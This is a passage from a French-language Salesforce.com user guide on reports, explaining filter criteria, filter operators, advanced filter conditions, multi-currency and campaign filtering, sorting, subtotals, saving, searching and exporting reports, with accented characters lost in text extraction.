Utilisez les conseils suivants lors de la saisie de critres de filtre :

Lors de l'utilisation de Filtres avancs pour personnaliser un rapport, notez les conseils suivants en vue d'amliorer les
performances :
-

vitez d'utiliser les oprateurs contient et ne contient pas. Utilisez plutt l'oprateur gal ou diffrent de. Par
exemple, utilisez Responsable de compte gal Philippe Durand, pas Responsable de compte
contient Philippe.
Au lieu de filtrer par le champ Nom, filtrez par Alias. Une recherche par Nom ncessite de rechercher dans deux champs,
alors que la recherche par Alias ncessite de rechercher dans un seul champ.
vitez d'utiliser un trop grand nombre de filtres dans les Conditions de filtrage avances. Vous pouvez
inclure un maximum de 10 filtres, mais nous recommandons de limiter leur usage 5.

Vous pouvez atteindre plusieurs limites de caractres lorsque vous saisissez des termes de recherche diffrents endroits
dans Salesforce.com. Par exemple, dans les rapports, vous pouvez entrer jusqu' 1 000 caractres pour les critres de filtrage.
Toutes les virgules utilises comme oprateurs OR sont considres comme des caractres. Reportez-vous l'aide d'une
fonction spcifique pour plus d'informations sur les limites de caractres correspondantes en matire de critres de filtrage.
ATTENTION: Si vous n'avez pas accs au champ utilis dans une ligne de filtre, Salesforce.com affiche les
rsultats de toutes les autres lignes de filtre. Par exemple, si les conditions de filtrage avances sont 1 OR 2 OR 3
et que vous n'avez pas accs au champ utilis dans la ligne 1, Salesforce.com ignore les conditions de filtrage avances
et affiche tous les enregistrements qui correspondent la deuxime et la troisime ligne de filtre. De plus, si vous
modifiez un rapport dont certaines lignes de filtre contiennent des champs que vous n'avez pas le droit d'afficher,
ces filtres sont enlevs du rapport lorsque vous l'enregistrez.

Pour dfinir le filtre sur les valeurs des listes de slection, cliquez sur l'icne de recherche en regard de la troisime colonne.
Slectionnez ensuite les valeurs de liste de slection inclure dans votre filtre et cliquez sur Insrer les lments slectionns
pour les insrer. Si votre organisation utilise des types d'enregistrement, la bote de dialogue de recherche rpertorie les

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1738

valeurs de liste de slection correspondant tous les types. Utilisez l'un des oprateurs gal ou Diffrent de pour ces
filtres.
Remarque: Si vous modifiez l'tiquette d'une valeur de liste de slection utilise comme critre de filtre dans un
rapport, la valeur de liste de slection est alors automatiquement supprime du critre de filtre. Exemple : si votre
rapport contient un filtre dans lequel Origine de la piste gale Messagerie lectronique
ou Web et que vous modifiez la valeur de la liste de slection Web en Rfrencement, alors votre filtre de rapport
deviendra Origine de la piste gale Messagerie lectronique. Si la valeur de liste de slection
modifie tait la seule valeur prcise pour un filtre en particulier, cette dernire continuera d'tre affiche parmi
vos filtres de rapport, mais une erreur sera mentionne sur l'assistant de gnration de rapport.

Lorsque vous filtrez des donnes sur la base de champs de liste de slection multiple, utilisez un point-virgule entre les
valeurs pour indiquer une correspondance exacte.
Par exemple, si vous slectionnez l'oprateur gal et un point-virgule entre deux valeurs, les rsultats incluent les
enregistrements qui ont ces deux caractristiques exclusivement. De mme, si vous utilisez l'oprateur diffrent de et un
point-virgule entre les deux valeurs, les enregistrements qui contiennent uniquement ces valeurs, sans aucune autre valeur,
sont exclues ; les enregistrements qui contiennent une ou toutes les valeurs spcifies, sans aucune autre valeur ou valeur
vide, sont incluses. Utilisez l'oprateur Inclut pour rechercher les enregistrements dots de toutes les valeurs spares par
des points-virgules. Utilisez l'oprateur Exclut pour rpertorier les enregistrements qui ne contiennent pas toutes les
valeurs spares par des points-virgules, mais qui contiennent une seule valeur.

Si vous saisissez une date, utilisez le format autoris dans vos Paramtres rgionaux. Vous pouvez galement utiliser
des valeurs de date spciales.
Lorsque vous recherchez des nombres ou d'autres informations contenant des virgules, placez les donnes recherches entre
guillemets. Par exemple : Montant gal 10 000 renvoie les enregistrements dont le montant est de 10 000 $.
Pour rechercher un numro de tlphone, vous devez peut-tre utiliser son format exact, par exemple Tlphone
commence par (561).
Lorsque vous utilisez les oprateurs infrieur , suprieur , infrieur ou gal ou suprieur ou gal dans des champs
contenant des valeurs numriques, les enregistrements vides ou contenant la valeur null sont considrs comme contenant
la valeur zro (0). Par exemple, si vous crez une rgle de workflow ou une rgle d'attribution de piste pour des comptes
avec les critres Chiffre d'affaires annuel infrieur 100 000, les enregistrements de compte
correspondent si le champ Chiffre d'affaires annuel est vide.
Toutefois, les enregistrements avec des valeurs de champ vides ne sont pas considrs comme des correspondances dans
les filtres de rapport, les vues de liste personnalises et les rgles d'attribution de compte (qui associent des comptes et des
territoires).

Pour limiter les rsultats aux enregistrements vides ou contenant des valeurs nulles pour un champ particulier, slectionnez
le champ, puis les oprateurs gal ou diffrent de et laissez le troisime champ vide. Par exemple, Montant gal
renvoie les enregistrements contenant des champs de montant vides. Vous pouvez rechercher simultanment des valeurs
vides ou d'autres valeurs spcifies. Par exemple, Montant gal 1,,2 renvoie les enregistrements dont le champ
Montant contient la valeur 1 ou 2, ou est vide.
Lorsque vous utilisez des champs standard de zone de texte longue, tels que Description ou Dtails de la solution,
seuls les 1 000 premiers caractres du champ sont recherchs dans votre rapport. Vous ne pouvez pas dfinir de filtre sur
des champs personnaliss de zone de texte longue.
Vous ne pouvez pas utiliser les champs standard ou personnaliss de zone de texte longue pour les critres de filtrage des
vues de liste. Les champs personnaliss de zone de texte longue ne sont pas autoriss pour les critres de filtrage dans les
rapports.

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1739

En outre, lorsque vous choisissez d'afficher un champ personnalis de zone de texte longue dans votre rapport, seuls les
1 000 premiers caractres apparaissent. Seuls les 255 premiers caractres apparaissent pour les champs personnaliss de
zone de texte longue dans votre rapport ou vue de liste.

Pour crer un filtre incluant plusieurs valeurs, entrez les termes de la recherche, spars par des virgules, dans le troisime
champ. Ils peuvent comporter jusqu' 1000 caractres, virgules comprises. Par exemple, pour rechercher des comptes situs
dans l'tat de Californie, de New York ou de Washington, utilisez tat contient CA, NY, WA. Placez les donnes
comprenant des virgules entre guillemets, par exemple Montant gal 1 000,50, 500,10 permet de
rechercher la valeur 1 000,50 ou 500,10.
Pour crer des rapports sur les solutions sans catgorie, slectionnez le champ Nom de catgorie et l'oprateur gal,
puis laissez le troisime champ vide.
Les critres que vous spcifiez sont bass sur l'oprateur AND, sauf si vous utilisez des conditions de filtrage avances dans
Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition. Cela signifie que si vous spcifiez
plusieurs critres, les rsultats ne contiennent que les enregistrements qui correspondent tous les critres.
Si vous recevez un message d'erreur vous indiquant que les rsultats du rapport d'erreur sont trop nombreux, personnalisez
le rapport en appliquant un filtre une liste de slection, du texte ou un champ de date. Vous pouvez aussi relancer le
rapport en utilisant un autre type de donnes pour les activits, par exemple Activits associes aux comptes ou Activits
associes aux opportunits.
Si votre entreprise utilise des comptes personnels, vous pouvez effectuer un filtrage sur le champEst un compte
personnel pour inclure ou exclure explicitement les comptes personnels des rsultats.
Les champs crypts ne peuvent pas tre utiliss dans des filtres comme les vues de liste, les rapports, les champs rcapitulatifs
de cumul et les filtres de rgle.

Conseils relatifs la saisie de critres de filtrage pour plusieurs

devises
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Si votre organisation utilise plusieurs devises, suivez ces conseils pour crer des filtres plus efficaces.

Faites prcder les montants d'un code de devise, par exemple Chiffre d'affaires annuel suprieur EUR
50 000 000.
Si vous ne prcisez aucun code de devise, tous les montants sont exprims dans la devise de l'utilisateur. Par exemple, si la
devise de l'utilisateur est exprime en USD, Chiffre d'affaires annuel suprieur 50 000 000 signifie
50 millions de dollars US. Si la devise de l'utilisateur n'est pas valide, la devise de l'entreprise est utilise.
Tous les montants sont convertis dans la devise d'entreprise afin de permettre des comparaisons. Par exemple, l'expression
Chiffre d'affaires annuel suprieur EUR 50 000 000 permet de rechercher les comptes dont le
chiffre d'affaires est suprieur 50 millions d'euros. Les rsultats incluent un compte de 100 millions de dollars australiens,
qui quivaut 57 millions d'euros avec un taux de change 1,77.
Utilisez le champ Devise pour rechercher les lments libells dans une devise particulire. Par exemple, Devise de
l'opportunit gale AUD recherche les opportunits dont les montants sont exprims en dollars australiens.
Cliquez sur Configuration Profil de la socit Grer les devises pour obtenir les codes de devise.
Les montants des rapports sont affichs dans leur devise d'origine, et les totaux des rapports dans votre devise personnelle.
Vous pouvez changer la devise utilise pour les totaux des rapports en slectionnant une devise dans la liste droulante
Afficher les devises en utilisant, dans la dernire page de l'Assistant de rapport. Pour tous les montants, vous

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1740

pouvez galement afficher la colonne converti (par exemple : Chiffre d'affaires annuel (converti)), qui permet d'afficher
tous les montants dans la devise slectionne dans la liste droulante Afficher les devises en utilisant.
Conseils relatifs au filtrage par campagne
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Si votre organisation utilise des campagnes, vous pouvez restreindre les vues de liste de contacts ou de pistes par campagne
afin d'inclure uniquement les pistes ou les contacts associs la campagne.
Si vous limitez la vue de liste une campagne particulire :

Vous pouvez galement filtrer par statut de membre de campagne afin de n'inclure que les contacts ou les pistes possdant
un statut particulier. Slectionnez Campagne : Statut du membre dans la liste droulante de la premire colonne des
critres de filtrage. Dans la deuxime colonne, utilisez l'oprateur gal ou diffrent de. Entrez une ou plusieurs valeurs
de statut dans la troisime colonne. Les valeurs de statut doivent tre valides pour votre organisation.
Vous pouvez choisir d'afficher la colonne Campagne : Statut du membre dans la vue de liste. Cette option se trouve
au bas de la liste droulante de l'tape Slectionner les colonnes de cration de vue de liste
Vous ne pouvez ni dfinir de filtrage par statut de membre de campagne, ni ajouter une colonne d'affichage de statut de
membre de campagne tant que vous ne spcifiez pas de campagne dans la zone Filtrer par campagne.

Voir aussi :
Oprateurs de filtre
Saisie des critres de filtre
Utilisation des conditions de filtrage avances
Gestion de plusieurs devises

Utilisation des conditions de filtrage avances

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les conseils suivants lorsque vous saisissez des conditions de filtrage avances :

Pour chaque ligne de filtre contenant un champ, un oprateur et une valeur, incluez le numro de la ligne dans le champ
Conditions de filtrage avances. Vous devez reprsenter tous les numros de ligne dans vos conditions de filtrage
avances.
Vrifiez que les parenthses d'ouverture ( sont associes des parenthses de fermeture ).

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1741

Mettez entre parenthses les conditions prioritaires. Par exemple, la condition (1 AND 2) OR 3 recherche les
enregistrements qui remplissent les deux premiers filtres ou le troisime. Quant la condition 1 AND (2 OR 3), elle
recherche les enregistrements qui remplissent le premier, ainsi que le deuxime ou le troisime.
Insrez l'un de ces termes entre chaque numro de ligne de filtre : AND, OR, NOT. vitez les conditions telles que 1
AND OR 2 ou (1 2 3).
Vous pouvez commencer une condition par le terme NOT, mais pas la terminer par ce mme terme. Par exemple, la
condition NOT 1 AND (2 OR 3 OR 4) recherche les enregistrements qui remplissent n'importe lequel des trois dernires
conditions et exclut ceux qui remplissent le premier.
Si vous supprimez le contenu d'un filtre, supprimez le numro de la ligne correspondante dans le champ Conditions
de filtrage avances.
Si l'un de vos filtres utilise l'un des champs suivants, vous ne pouvez pas utiliser les Conditions de filtrage
avances : Description, les champs Ligne d'adresse 1, Ligne d'adresse 2 et Ligne d'adresse 3,
Catgorie prvisionnelle, Type de membre de la campagne, Nom du profil de l'utilisateur, Statut de
connexion et des champs de zone de texte longue personnaliss. Ceci ne s'applique pas aux Conditions de filtrage
avances dans les filtres de recherche.
Si vous n'avez pas accs au champ utilis dans une ligne de filtre, Salesforce.com affiche les rsultats de toutes les autres
lignes de filtre. Par exemple, si les conditions de filtrage avances sont 1 OR 2 OR 3 et que vous n'avez pas accs au
champ utilis dans la ligne 1, Salesforce.com ignore les conditions de filtrage avances et affiche tous les enregistrements
qui correspondent la deuxime et la troisime ligne de filtre. De plus, si vous modifiez un rapport dont certaines lignes
de filtre contiennent des champs que vous n'avez pas le droit d'afficher, ces filtres sont enlevs du rapport lorsque vous
l'enregistrez. Ceci ne s'applique pas aux Conditions de filtrage avances dans les filtres de recherche.
Dans les rapports o l'objet A peut ou non avoir un objet B, vous ne pouvez pas utiliser la condition OU pour effectuer un
filtrage sur plusieurs objets dans la page des Critres de slection de l'assistant de rapport. Par exemple, si vous entrez le
critre de filtre Le nom du compte commence par M OU le prnom du contact commence par M, un
message d'erreur s'affiche, vous informant que votre critre de filtre est incorrect. Pour plus d'informations, reportez-vous
Slection des relations d'objet qui apparaissent sur les rapports crs partir de types de rapport personnalis la page
1763.
Utilisez les exemples suivants lorsque vous saisissez des conditions de filtrage avances :
Exemple

Description

(1 ET 2) OU 3

Recherche les enregistrements qui remplissent les deux premires lignes de filtre ou la
troisime. Utilisez les conditions de filtrage suivantes :
1. Responsable du compte contient Jean
2. Secteur d'activit gal Banque
3. Chiffre d'affaires annuel suprieur 10 000 000
Ce filtre vous permet de rechercher les comptes bancaires dont le propritaire est Jean
ou tous les comptes dont le chiffre d'affaires est suprieur 10 millions de dollars.

1 ET (2 OU 3)

Recherche les enregistrements qui remplissent la premire ligne de filtre et l'une des
deux dernires.
Avec les mmes filtres que dans l'exemple prcdent, ce rapport recherche tous les
comptes dont Jean est propritaire, qui sont dans le secteur bancaire ou dont le chiffre
d'affaires est suprieur 10 millions de dollars. Vous pouvez galement rpter une
ligne de filtre dans l'expression. Par exemple, cette expression donne les mmes rsultats
que les conditions de filtrage (1 AND 2) OR (1 AND 3).

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1742

Exemple

Description

(1 AND 2) OR (3 AND 4)

Recherche les enregistrements qui remplissent les deux premires lignes de filtre ou
les deux suivantes. Cela peut tre utile lorsque vous compilez une liste de dossiers
importants dont la clture est proche. Utilisez cette expression en l'associant aux filtres
ci-dessous pour rechercher toutes les opportunits, suprieures 1 million de dollars,
dont la clture intervient dans les 60 prochains jours, ainsi que les opportunits,
suprieures 5 millions de dollars, dont la clture intervient dans les 120 prochains
jours. Dans cet exemple, vos filtres seraient les suivants :
1.
2.
3.
4.

(1 OR 2 OR 3) AND 4

Montant suprieur 1000000

Date de clture gal dans les 60 prochains jours
Montant suprieur 5 000 000
Date de clture gal dans les 120 prochains jours

Recherche les enregistrements qui remplissent l'une des trois premires lignes de filtre
tout en incluant la dernire. Par exemple, avec les conditions de filtrage suivantes :
1.
2.
3.
4.

Titre gal Directeur financier

Rle fonctionnel gal Directeur financier
Rattachement hirarchique gal Directeur financier
Responsable de contact contient Jean

Utilisez un filtre de ce type pour rechercher les contacts dont Jean est le responsable
et qui ont pour titre, rle fonctionnel ou superviseur le directeur financier.
(4 AND (2 OR 3)) OR 1

Recherche les enregistrements qui correspondent la dernire ligne de filtre, ainsi que
ceux qui correspondent la fois la premire et la deuxime/troisime ligne de filtre.
Par exemple, en utilisant les conditions de filtrage de l'exemple ci-dessus, les rsultats
incluent les contacts qui possdent le titre de directeur financier ainsi que les contacts
dont Jean est responsable, qui possdent le rle de directeur financier ou qui sont
hirarchiquement rattachs au directeur financier. Il est inutile de saisir les numros
de ligne de filtre dans l'ordre.

Remarque: Les conditions de filtrage avances ne sont pas disponibles partout o vous pouvez utiliser des filtres,
comme dans les champs rcapitulatifs de cumul.

Voir aussi :
Oprateurs de filtre
Saisie des critres de filtre

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1743

Oprateurs de filtre
Disponible avec : Toutes les ditions

Vous pouvez utiliser les oprateurs suivants lors de la saisie de conditions de filtre pour des critres de recherche :
Oprateur

Utilisation

gal

Pour une correspondance exacte, par exemple Cr gal ajourd'hui .

infrieur

Pour des rsultats infrieurs la valeur saisie. Par exemple Quota infrieur 20 K
renvoie les enregistrements dont la valeur de champ quota est comprise entre 0 et 19
999,99.

suprieur

Pour des rsultats qui dpassent la valeur saisie. Par exemple, Quota suprieur 20 K
renvoie les enregistrements dont le montant quota commence 20 000,01.

infrieur ou gal

Pour des rsultats identiques ou infrieurs la valeur saisie. Disponible uniquement dans
des rapports.

suprieur ou gal

Pour des rsultats identiques ou suprieurs la valeur saisie. Disponible uniquement dans
des rapports.

diffrent de

Affiche les rapports qui ne contiennent pas la valeur saisie. Cet oprateur est
particulirement utile pour liminer les champs vides, par exemple E-mail diffrent de
<blank>.

contient

Pour les champs qui comprennent votre chane de recherche et ventuellement d'autres
informations. Par exemple, Comptes contient Bretagne renvoie Voyage en Bretagne,
Achats en gros en Bretagne et Bretagne Surf.

ne contient pas

Elimine les enregistrements qui ne contiennent pas la valeur saisie, par exemple Ligne
d'adresse 2 ne contient pas Code postal .

commence par

Lorsque vous connaissez les premiers caractres de la valeur, mais pas le texte exact. Cet
oprateur est plus affin que contient . Par exemple, Comptes commence par Bretagne
renvoie Bretagne Surf mais pas Voyage en Bretagne et Achats en gros en Bretagne.

inclut

Pour choisir une liste de slection multiple comme champ slectionn. Cet oprateur
permet de rechercher les enregistrements qui comprennent un ou plusieurs valeurs que
vous avez saisies.
Par exemple, Intrts comprennent rugby, football, basket renvoie les enregistrements
qui ont uniquement rugby slectionn et ceux qui comprennent deux ou trois valeurs
saisies. Les rsultats ne comprennent aucune correspondance partielle.

Rapports

Guide de l'utilisateur | Tri des rsultats de rapport | 1744

Oprateur

Utilisation

exclut

Pour choisir une liste de slection multiple comme champ slectionn. Cet oprateur
permet de rechercher les enregistrements qui ne contiennent aucune valeur correspondant
celles saisies.
Par exemple, Intrts exclut vin, golf renvoie les enregistrements qui contiennent des
valeurs diffrentes de cette liste, valeurs nulles incluses. Les rsultats ne comprennent
aucune correspondance partielle.

Voir aussi :
Saisie des critres de filtre
Utilisation des conditions de filtrage avances

Tri des rsultats de rapport

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour trier les rsultats de rapport :

Excuter des rapports

Remarque: Vous devez disposer de l'autorisation en lecture dans les enregistrements inclus vos rapports, sinon des
donnes risquent de manquer ou de ne pas s'afficher lors de leur excution.
Vous pouvez trier un rapport par les donnes d'une colonne spcifique en cliquant sur son en-tte. Pour un rapport non tri,
la slection de l'en-tte d'une colonne tri ses donnes par ordre croissant : le texte est class de A Z, les donnes numriques
sont classes de la plus petite la plus grande et les donnes temporelles sont classes de la plus proche la plus loigne. Pour
inverser l'ordre de tri, cliquez de nouveau sur l'en-tte de la colonne.
Si l'en-tte de rapport flottant est activ pour votre organisation, la slection d'un en-tte de colonne tri les donnes dans
l'ordre indiqu, mais entrane galement l'actualisation du rapport et vous renvoie au dbut des rsultats du rapport.
Vous pouvez galement regrouper et calculer le sous-total de vos donnes afin de crer des sous-ensembles d'information.

Voir aussi :
Personnalisation des rapports

Rapports

Guide de l'utilisateur | Calcul du sous-total des rsultats de rapport | 1745

Calcul du sous-total des rsultats de rapport

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour gnrer le sous-total des rsultats d'un rapport :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation en lecture dans les enregistrements inclus vos rapports, sinon des
donnes risquent de manquer ou de ne pas s'afficher lors de leur excution.
Calculer le sous-total de vos rapports permet d'analyser les tendances de vos donnes. Dans les rapports rcapitulatifs et
matriciels, vous pouvez regrouper des ensembles d'information et comparer les sous-totaux de chaque ensemble avec le total
gnral. Dans un rapport rcapitulatif, vous pouvez galement calculer le sous-total par champs multiples afin d'obtenir des
sries d'informations en cascade.
Par exemple, si vous faites le sous-total d'un rapport rcapitulatif par Responsable d'opportunit, le rapport regroupe les comptes
par Responsable d'opportunit, rpertorie le nombre d'opportunits appartenant chaque utilisateur et affiche les sous-totaux
par Responsable d'opportunit de toutes les colonnes du rapport. Vous pouvez galement calculer le sous-total des opportunits
par produit de chaque utilisateur.
Pour calculer le sous-total des rsultats de vos rapports :
1. Cliquez sur Personnaliser dans un rapport.
2. l'tape Slectionnez le regroupement de l'assistant de rapport personnalis, slectionnez les champs de regroupement
des donnes :

Pour des rapports rcapitulatifs, vous pouvez gnrer des sous-totaux en cascade en slectionnant des champs de
regroupement supplmentaires.
Pour des rapports matriciels, slectionnez deux types de champs : un champ pour l'axe vetical et un champ pour l'axe
horizontal.

Ces champs rcapitulatifs permettent de gnrer des formules rcapitulatives personnalises.

3. l'tape Slectionnez les colonnes analyser de l'assistant, slectionnez les colonnes numriques avec lesquelles vous
souhaitez rcapituler ou faire la moyenne des donnes.
4. Slectionnez Excuter le rapport.
Salesforce.com utilise un calcul de total intelligent lors de l'excution de rapports qui contennient des donnes dupliques
dans toute colonne slectionne pour gnrer un rcapitulatif ou une moyenne. Le calcul de total intelligent signifie que
les donnes dupliques sont comptabilises une seule fois dans un sous-total ou un total. Par exemple, si une opportunit
contient deux produits et que vous excutez le Rapport de produit d'opportunit avec le montant total d'opportunits slectionn
comme colonne de total, le montant est affich deux fois dans les dtails du rapport, une fois pour chaque produit d'opportunit.

Rapports

Guide de l'utilisateur | Enregistrement des rapports | 1746

Dans ce cas, le calcul de total intelligent produit des sous-totaux, des totaux gnraux et des moyennes prcis en ajoutant
une seule fois ce montant d'opportunits.

Voir aussi :
Personnalisation des rapports
Tri des rsultats de rapport
Options de rapport supplmentaires
laboration de formules rcapitulatives personnalises

Enregistrement des rapports

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour enregistrer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Les utilisateurs qui disposent uniquement de l'autorisation Excuter les rapports n'ont pas accs aux boutons Enregistrer,
Enregistrer sous, Personnaliser ou Supprimer dans les rapports, ni aux filtres de rapport.
Suivez l'une de ces mthodes pour enregistrer vos rapports :

Cliquez sur Enregistrer sous pour enregistrer une copie des paramtres de n'importe quel rapport standard, public ou
personnalis sans altrer le rapport d'origine. Saisissez le nom et la description du nouveau rapport.
Remarque: Pour enregistrer votre rapport un niveau descendant prcis de la hirarchie des rles sur les rapports
de ventes, de prvisions, d'opportunits et d'activits, cochez la case Enregistrer le niveau de hirarchie.

Si vous disposez de l'autorisation Personnaliser l'application, saisissez un Nom unique. Le nom unique permet de
rfrencer le composant lors de l'utilisation de l'API Force.com. Dans des packages grs, ce nom vite les conflits de nom
dans les installations de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il
doit tre unique dans votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas
un trait de soulignement et ne doit pas contenir deux traits de soulignement conscutifs. Le champ Nom unique permet
un dveloppeur de modifier les noms ou les titres de certains composants dans un package gr et d'appliquer les
modifications dans l'organisation d'un abonn.
Les administrateurs et les utilisateurs autoriss grer les rapports publics peuvent galement choisir le dossier dans lequel
les rapports publics seront stocks. Cliquez ensuite sur Enregistrer pour enregistrer le rapport et revenir la page d'accueil
Reports ou sur Enregistrer et revenir au rapport pour enregistrer le rapport et l'afficher immdiatement.
Si le rapport n'apparat pas aussitt au niveau de l'onglet Rapports, cliquez sur les triangles pour dvelopper chaque dossier
du rapport.

Rapports

Guide de l'utilisateur | Recherche de rapports | 1747

Cliquez sur Enregistrer pour enregistrer les modifications apportes aux paramtres de vos rapports personnaliss ou d'un
rapport public (rserv aux administrateurs). Vrifiez le nom, la description et le dossier du rapport. Cliquez ensuite sur
Enregistrer pour enregistrer le rapport et revenir la page d'accueil Reports ou sur Enregistrer et revenir au rapport pour
enregistrer le rapport et l'afficher immdiatement. Le bouton Enregistrer n'entrane pas la cration d'un nouveau rapport
personnalis, contrairement au bouton Enregistrer sous.
Pour partager un rapport personnalis, un administrateur a la possibilit de slectionner un dossier de rapport dans la liste
droulante Dossier de rapport lors de l'enregistrement de celui-ci. Seuls les administrateurs et les utilisateurs autoriss
grer les rapports publics peuvent rendre les rapports personnaliss accessibles tous les utilisateurs.
Pour enregistrer les donnes d'un rapport, exportez-le dernier vers Excel ou un fichier dlimit par des virgules l'aide du
bouton Exporter les dtails. Reportez-vous Impression et exportation des rapports la page 1748.
Cliquez sur Supprimer pour supprimer l'un de vos rapports personnaliss. Les administrateurs peuvent galement supprimer
les rapports publics. Les rapports supprims sont placs dans la Corbeille.
Remarque: Vous ne pouvez afficher que les champs de rapport marqus comme tant visibles dans les prsentations
de page. L'administrateur peut crer un rapport public contenant des champs auxquels vous n'avez pas accs, auquel
cas le rapport apparat sans les champs inaccessibles. En outre, aucune condition de filtre incluant des champs que
vous n'tes pas autoris afficher n'est disponible lorsque vous affichez le rapport. De plus, si vous modifiez un rapport
dont certaines lignes de filtre contiennent des champs que vous n'avez pas le droit d'afficher, ces filtres sont enlevs
du rapport lorsque vous l'enregistrez.
Les utilisateurs qui disposent uniquement de l'autorisation Excuter les rapports n'ont pas accs aux boutons Enregistrer,
Enregistrer sous, Personnaliser ou Supprimer dans les rapports, ni aux filtres de rapport.

Recherche de rapports
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour rechercher des rapports :

Excuter des rapports

Remarque: Vous devez disposer de l'autorisation en lecture dans les enregistrements inclus vos rapports, sinon des
donnes risquent de manquer ou de ne pas s'afficher lors de leur excution.
Pour rechercher des rapports personnaliss spcifiques :
1. Saisissez les termes recherchs sous l'onglet Rapports, puis cliquez sur Rechercher un rapport.
Vous pouvez galement utiliser la recherche du menu latral pour retrouver des rapports ou cliquer sur Recherche avance
dans le menu latral afin d'utiliser des fonctionnalits avances.
2. La recherche renvoie une liste d'lments qui correspondent aux termes de votre recherche.
Cliquez sur l'en-tte de colonne de votre choix pour trier les rsultats par ordre croissant. Cliquez de nouveau sur l'en-tte
pour trier la colonne par ordre dcroissant.

Rapports

Guide de l'utilisateur | Impression et exportation des rapports | 1748

Remarque: Le tri concerne tous les rsultats obtenus pour un objet particulier, y compris ceux des pages suivantes.
Vous ne pouvez pas trier les champs de liste de slection multiple, car vous ne pouvez pas cliquer sur les en-ttes
de colonne de ce type de champ.
3. Dans la liste des rsultats de recherche, cliquez sur le nom d'un rapport pour l'ouvrir. Vous pouvez galement cliquer sur
Modifier pour personnaliser le rapport, sur Suppr pour le supprimer ou sur Exporter pour ouvrir les donnes du rapport
directement dans Excel.
Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lors de l'affichage du rapport, cliquez sur
Ajouter des balises ou Modifier des balises dans la zone Balises directement sous la barre de titre en couleur pour marquer
le rapport. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une liste de tous les enregistrements
et rapports contenant cette balise.

Voir aussi :
Prsentation de la recherche
Utilisation de caractres gnriques et d'oprateurs dans les recherches
Champs de recherche

Impression et exportation des rapports

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour exporter des rapports :

Exporter les rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Suivez l'une de ces mthodes pour imprimer ou exporter vos rapports :

Pour imprimer un rapport, utilisez la fonction d'impression de votre navigateur.

Cliquez sur Vue imprimable pour ouvrir ou enregistrer le rapport.
Pour exporter un rapport :
1.
2.
3.
4.

Cliquez sur Exporter les dtails.

Dfinissez le Codage du fichier d'exportation pour votre langue.
Dfinissez le format Coder le fichier d'exportation sur Excel ou dlimit par des virgules.
Cliquez sur Exporter. Dans la bote de dialogue Tlchargement de fichier de votre navigateur, choisissez d'enregistrer
le fichier sur le disque. Vous pouvez exporter jusqu' 256 colonnes et 65 536 lignes de donnes dans un seul rapport.

Pour les rapports exports :

-

Vous pouvez modifier les colonnes et effectuer des calculs supplmentaires si ncessaire.

Rapports

Guide de l'utilisateur | Impression et exportation des rapports | 1749

Pour redimensionner les colonnes, slectionnez toute la feuille de calcul, puis utilisez l'option Format Colonne
Ajustement automatique disponible dans Excel.
Pour forcer l'impression d'un rapport sur une seule page, utilisez l'option Ajuster accessible partir de la page
Configuration.
Pour imprimer le rapport, cliquez sur l'icne d'impression dans Excel.
Remarque: Pour des raisons de scurit, Salesforce.com peut inviter les utilisateurs passer un test de vrification
avant d'exporter les donnes de leur organisation. Ce test de saisie tout simple permet d'empcher les programmes
malveillants d'accder aux donnes de votre entreprise.
Pour russir le test, l'utilisateur doit saisir les deux mots affichs sur la fentre superpose dans la zone de texte, puis
cliquer sur le bouton Envoyer. Remarque : les mots saisis dans la zone de texte doivent tre spars par un espace.
Salesforce.com utillise la technologie CAPTCHA fournie par reCaptcha pour vrifier qu'une personne, et non un
programme automatis, a correctement saisi le texte dans le plan. CAPTCHA est un acronyme qui signifie test public
de Turing compltement automatique ayant pour but de diffrencier les humains des ordinateurs.

Conseils sur l'exportation de rapports

Tenez compte des points suivants lorsque vous exportez des rapports :

En cas d'exportation de rapports au format CSV (valeurs spares par des virgules), les paramtres rgionaux de la page de
dtails de l'utilisateur dterminent le caractre sparateur de champ utilis dans le fichier export. Si, par exemple, Anglais
(tats-Unis) est la langue choisie dans les paramtres rgionaux et que le sparateur de dcimale est un point ( . ), alors
le sparateur de champ utilis lors de l'exportation d'un rapport au format CSV sera une virgule ( , ). En revanche, si la
langue choisie dans les paramtres rgionaux est Franais (France) et que le sparateur de dcimale est une virgule ( , ),
le sparateur de champ utilis lors de l'exportation d'un rapport au format CSV sera un point-virgule ( ; ). Cependant,
pour les utilisateurs dont le paramtre rgional dfinit la virgule ( , ) comme sparateur de dcimale, il est possible de
faire en sorte que les paramtres rgionaux ne dterminent pas le sparateur de champ inclus dans le fichier export. Pour
ce faire, ils doivent slectionner Dlimit par des virgules (non li aux paramtres rgionaux) (.csv) dans la liste droulante
Coder le fichier d'exportation. Pour plus d'informations sur vos paramtres rgionaux, reportez-vous
Modification des informations personnelles la page 20.
